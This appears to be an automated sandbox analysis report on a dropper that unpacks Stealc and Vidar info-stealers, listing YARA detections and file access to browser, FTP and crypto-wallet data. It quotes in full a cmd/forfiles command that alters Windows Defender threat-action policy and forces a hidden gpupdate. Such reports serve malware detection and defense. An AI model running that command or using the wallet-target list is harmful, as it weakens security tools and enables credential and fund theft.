Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Process created: C:\Windows\SysWOW64\cmd.exe "c:\windows\system32\cmd.exe" /c forfiles /p c:\windows\system32 /m where.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147735503 /t reg_sz /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147814524 /t reg_sz /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147780199 /t reg_sz /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147812831 /t reg_sz /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /c powershell start-process -windowstyle hidden gpupdate.exe /force"
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Process created: C:\Windows\SysWOW64\cmd.exe "c:\windows\system32\cmd.exe" /c forfiles /p c:\windows\system32 /m where.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147735503 /t reg_sz /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147814524 /t reg_sz /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147780199 /t reg_sz /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147812831 /t reg_sz /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /c powershell start-process -windowstyle hidden gpupdate.exe /force"
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Process created: C:\Windows\SysWOW64\cmd.exe "c:\windows\system32\cmd.exe" /c forfiles /p c:\windows\system32 /m where.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147735503 /t reg_sz /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147814524 /t reg_sz /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147780199 /t reg_sz /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147812831 /t reg_sz /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /c powershell start-process -windowstyle hidden gpupdate.exe /force"

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_69114760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

11_2_69114760

Source: C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe

Code function: 8_2_00402744 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

8_2_00402744

Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe

Code function: 9_2_021080F6 cpuid

9_2_021080F6

Source: C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe	Code function: GetLastError,GetLastError,wsprintfW,GetEnvironmentVariableW,GetEnvironmentVariableW,GetLastError,??2@YAPAXI@Z,GetEnvironmentVariableW,GetLastError,lstrcmpiW,??3@YAXPAX@Z,??3@YAXPAX@Z,SetLastError,lstrlenA,??2@YAPAXI@Z,GetLocaleInfoW,_wtol,MultiByteToWideChar,	8_2_0040247D
Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe	Code function: GetLocaleInfoA,	9_2_004070B1
Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	9_2_02120AB6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,	11_2_00417630

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\Documents\piratemamm\E7ZgIS5gIvcD0qYA4MsN8rsr.exe	Queries volume information: C:\Users\user\Documents\piratemamm\E7ZgIS5gIvcD0qYA4MsN8rsr.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\3rS3zgtrHYzvSBWEegYZ8AEZ.exe	Queries volume information: C:\Users\user\Documents\piratemamm\3rS3zgtrHYzvSBWEegYZ8AEZ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Queries volume information: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe

Code function: 8_2_004039E7 lstrlenW,GetSystemTimeAsFileTime,GetFileAttributesW,memcpy,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,

8_2_004039E7

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_004172F0 GetProcessHeap,HeapAlloc,GetUserNameA,

11_2_004172F0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_004174D0 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

11_2_004174D0

Source: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe

Code function: 7_2_00414B04 EntryPoint,GetVersion,GetCommandLineA,GetStartupInfoA,GetModuleHandleA,

7_2_00414B04

Source: C:\Users\user\Desktop\gHPYUEh253.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Modifies Group Policy settings

Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe

File written: C:\Windows\System32\GroupPolicy\gpt.ini

Source: E7ZgIS5gIvcD0qYA4MsN8rsr.exe, 00000002.00000002.1833258577.0000000001672000.00000004.00000020.00020000.00000000.sdmp, 3rS3zgtrHYzvSBWEegYZ8AEZ.exe, 00000003.00000002.1831539340.00000000013B1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: avp.exe
Source: E7ZgIS5gIvcD0qYA4MsN8rsr.exe, 00000002.00000002.1833258577.0000000001672000.00000004.00000020.00020000.00000000.sdmp, 3rS3zgtrHYzvSBWEegYZ8AEZ.exe, 00000003.00000002.1831539340.00000000013B1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AVP.exe
Source: gHPYUEh253.exe, 00000000.00000002.1855872127.0000013EF3254000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2487784931.0000000000DDF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2487784931.0000000000D5A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\gHPYUEh253.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : Select * From AntiVirusProduct
Source: C:\Users\user\Documents\piratemamm\3rS3zgtrHYzvSBWEegYZ8AEZ.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0000000F.00000002.2730669215.0000000000BFA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2372338745.0000000000EAA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7964, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 8188, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 2.2.E7ZgIS5gIvcD0qYA4MsN8rsr.exe.4365570.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.RegAsm.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.E7ZgIS5gIvcD0qYA4MsN8rsr.exe.4365570.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.1833987167.0000000004365000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2457717800.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: E7ZgIS5gIvcD0qYA4MsN8rsr.exe PID: 7788, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7964, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 8008, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 8188, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: RegAsm.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: RegAsm.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: RegAsm.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: RegAsm.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: RegAsm.exe	String found in binary or memory: \jaxx\Local Storage\
Source: RegAsm.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: RegAsm.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: RegAsm.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: RegAsm.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: RegAsm.exe	String found in binary or memory: passphrase.json
Source: RegAsm.exe	String found in binary or memory: \jaxx\Local Storage\
Source: RegAsm.exe	String found in binary or memory: \Ethereum\
Source: RegAsm.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: RegAsm.exe	String found in binary or memory: Ethereum
Source: RegAsm.exe	String found in binary or memory: file__0.localstorage
Source: RegAsm.exe	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: RegAsm.exe	String found in binary or memory: \Exodus\exodus.wallet\
Source: RegAsm.exe	String found in binary or memory: ltiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.js
Source: RegAsm.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: gHPYUEh253.exe, 00000000.00000003.1797626369.0000013EF6446000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: get_MachineKeyStore
Source: RegAsm.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
